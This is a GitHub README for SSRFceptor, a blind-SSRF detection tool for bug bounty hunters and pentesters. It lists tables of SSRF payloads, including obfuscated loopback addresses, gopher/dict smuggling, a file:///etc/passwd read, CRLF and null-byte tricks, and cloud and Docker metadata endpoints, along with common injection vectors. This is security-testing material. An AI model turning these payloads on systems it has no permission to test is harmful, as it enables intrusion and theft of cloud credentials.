b0dj0x/ssrfceptor

GitHub: b0dj0x/ssrfceptor

SSRFceptor 通过本地 Webhook 回调监听器与多种 OOB payload 检测盲 SSRF 漏洞,解决服务端请求伪造在无回显场景下难以验证的问题。

Stars: 1 | Forks: 0

![SSRFceptor](https://img.shields.io/badge/SSRFceptor-v1.0-red?style=for-the-badge&logo=bug&logoColor=white) ![Python](https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&logo=python&logoColor=white) ![License](https://img.shields.io/badge/License-MIT-green?style=for-the-badge) ![Made By](https://img.shields.io/badge/Made%20By-b0dj0x-purple?style=for-the-badge&logo=github&logoColor=white)
``` ████ ███ ████ ███ ███ █ █ █░░░█ █ ░░█ █░░░█ █░░█ ░░█ █ █ ░ ████░░█░ ░█░█░░░█░ █░░█░ ░█░ █ ░ ░ █░░░█ █░░ █░█░░ █░█ █░░█░░ █░░█ █ ░ ████░░ ███ ░████ ░░██ ░░ ███ ░█ ░ █ ░░░░ ░ ░░░ ░░░░░ ░ ░░ ░ ░░░ ░░ ░ ░ ░░░░ ░░░ ░░░░ ░░ ░░░ ░ ░ ``` **Blind SSRF 检测器 · Webhook 回调 · OOB Payload** *使用 OOB HTTP/DNS 回调检测服务端请求伪造* [![Twitter](https://img.shields.io/badge/Twitter-b0dj0x-1DA1F2?style=flat-square&logo=twitter&logoColor=white)](https://x.com/b0dj0x) [![GitHub](https://img.shields.io/badge/GitHub-b0dj0x-181717?style=flat-square&logo=github&logoColor=white)](https://github.com/b0dj0x) [![Website](https://img.shields.io/badge/Website-b0dj0x.cc-00ff88?style=flat-square)](https://b0dj0x.cc)
## 什么是 SSRFceptor? SSRFceptor 是一款为漏洞赏金猎人和渗透测试人员设计的 **Blind SSRF 检测工具**。它会启动一个本地 webhook 监听器,并生成 30 多种 OOB payload,旨在触发服务器向你的回调服务器发起请求——即使响应不可见,也能证明存在 SSRF。 ### 功能特性 - **Webhook 回调服务器** — 本地 HTTP 监听器,捕获所有入站 SSRF 请求 - **30 多种 OOB payload** — IP 混淆、协议走私、解析器欺骗、DNS 重绑定 - **云元数据 payload** — AWS、GCP、Azure、Alibaba、Kubernetes、Docker - **攻击场景指南** — 包含可直接复制 payload 的 10 大常见 SSRF 注入向量 - **免费 webhook 服务** — 集成 Interactsh、webhook.site、requestbin、hookbin - **回调日志记录** — 捕获时间戳、源 IP、headers、请求主体 - **JSON 导出** — 为报告和 CI/CD pipeline 提供完整结果 ## 安装说明 ``` git clone https://github.com/b0dj0x/ssrfceptor.git cd ssrfceptor pip install -r requirements.txt ``` ## 使用说明 ### 启动 webhook 监听器 ``` python3 ssrfceptor.py serve # Listen on 127.0.0.1:9999 python3 ssrfceptor.py serve -p 8888 -b 0.0.0.0 # All interfaces, custom port ``` ### 生成 OOB payload ``` python3 ssrfceptor.py payloads # Payloads for localhost python3 ssrfceptor.py payloads -H 1.2.3.4 # Payloads for your VPS python3 ssrfceptor.py payloads -c # Include cloud metadata targets ``` ### 显示攻击场景 ``` python3 ssrfceptor.py scenarios # 10 SSRF injection vectors python3 ssrfceptor.py webhooks # Free webhook services ``` ## Payload 分类 ### IP 混淆 | Payload | 描述 | |---------|-------------| | `http://0x7f000001:9999/TOKEN` | 十六进制编码 IP | | `http://2130706433:9999/TOKEN` | 十进制编码 IP | | `http://[::1]:9999/TOKEN` | IPv6 环回地址 | | `http://[0000:0000:...:0001]:9999/TOKEN` | 完整 IPv6 地址 | | `http://1.0.0.127:9999/TOKEN` | 反转 IP 八位组 | | `http://0127.0000.0000.0001:9999/TOKEN` | 补零 IP | | `http://①②⑦.⓪.⓪.①:9999/TOKEN` | Unicode IP 数字 | ### 协议走私 | Payload | 描述 | |---------|-------------| | `gopher://127.0.0.1:9999/_TOKEN` | Gopher 协议(Redis、SMTP 等) | | `dict://127.0.0.1:9999/TOKEN` | Dict 协议(LDAP、Redis INFO) | | `file:///etc/passwd` | 本地文件读取 | ### 解析器混淆 | Payload | 描述 | |---------|-------------| | `http://127.0.0.1%40:9999/TOKEN` | URL 编码 @ 符号 | | `http://127.0.0.1\:9999/TOKEN` | 反斜杠欺骗 | | `http://127.0.0.1%09:9999/TOKEN` | Tab 注入 | | `http://127.0.0.1%0d%0aHost:...` | CRLF 注入 | | `http://127.0.0.1%00:9999/TOKEN` | Null 字节截断 | | `http://LoCaLhOsT:9999/TOKEN` | 大小写变体 | ### HTML 注入 | Payload | 描述 | |---------|-------------| | `` | Meta refresh 重定向 | | `` | 图片标签 SSRF | ### 云元数据目标 | 云平台 | Metadata Endpoint | |-------|-------------------| | AWS | `http://169.254.169.254/latest/meta-data/` | | GCP | `http://metadata.google.internal/computeMetadata/v1/` | | Azure | `http://169.254.169.254/metadata/instance` | | Alibaba | `http://100.100.100.200/latest/meta-data/` | | Kubernetes | `https://kubernetes.default.svc/` | | Docker | `http://unix:/var/run/docker.sock:/containers/json` | ## 输出示例 ``` Webhook server running on 127.0.0.1:9999 Callback URL: http://127.0.0.1:9999/ ┌─── SSRF CALLBACK DETECTED ─── │ Time: 2026-07-26 19:48:54 UTC │ Source: 127.0.0.1 │ Method: GET /test-token-12345 │ Payload: Basic OOB │ Token: test-token-12345 │ Host: 127.0.0.1:9999 │ UA: curl/8.19.0 └─────────────────────────────── ``` ## 攻击场景 | # | 场景 | 描述 | |---|----------|-------------| | 1 | URL 导入 | RSS 阅读器、PDF 生成器、链接预览 | | 2 | Webhook URL | Slack/Discord/GitHub webhook 字段 | | 3 | PDF 生成 | HTML 转 PDF 服务获取资源 | | 4 | 图片代理 | 应用通过服务器代理图片 | | 5 | 文件上传 | 包含嵌入 URL 的 SVG/HTML | | 6 | SSO / OAuth | redirect_uri 操纵 | | 7 | 邮件 HTML | 带有 img 标签的邮件模板 | | 8 | Webhook 集成 | 第三方 webhook URL 字段 | | 9 | API 网关 | 带有 URL 字段的 GraphQL/REST | | 10 | CI/CD Pipeline | 带有用户提供的 URL 的构建脚本 | ## 何时使用 - **漏洞赏金** — 证明 Blind SSRF 以获得更高的严重性/赏金 - **渗透测试** — 审计 Web 应用中的 SSRF 漏洞 - **云安全** — 测试 metadata endpoint 暴露情况 - **CTF** — 解决与 SSRF 相关的挑战 - **代码审查** — 验证 SSRF 缓解措施是否有效 ## 结果导出 按下 Ctrl+C 时,结果会自动导出为 JSON,或者也可以指定输出: ``` python3 ssrfceptor.py serve --export results.json ``` ## 免责声明 本工具仅供**授权的安全测试和的教育目的使用**。未经授权访问计算机系统是违法行为。 ## 作者 **b0dj0x** — 漏洞赏金猎人 · OSNT 研究员 · 红队 - 🌐 [b0dj0x.cc](https://b0dj0x.cc) - 🐙 [github.com/b0dj0x](https://github.com/b0dj0x) - 🐦 [@b0dj0x](https://x.com/b0dj0x)
**由 [b0dj0x](https://b0dj0x.cc) 制作**
标签:CISA项目, Homebrew安装, SSRF检测, Webhook监听, 带外通信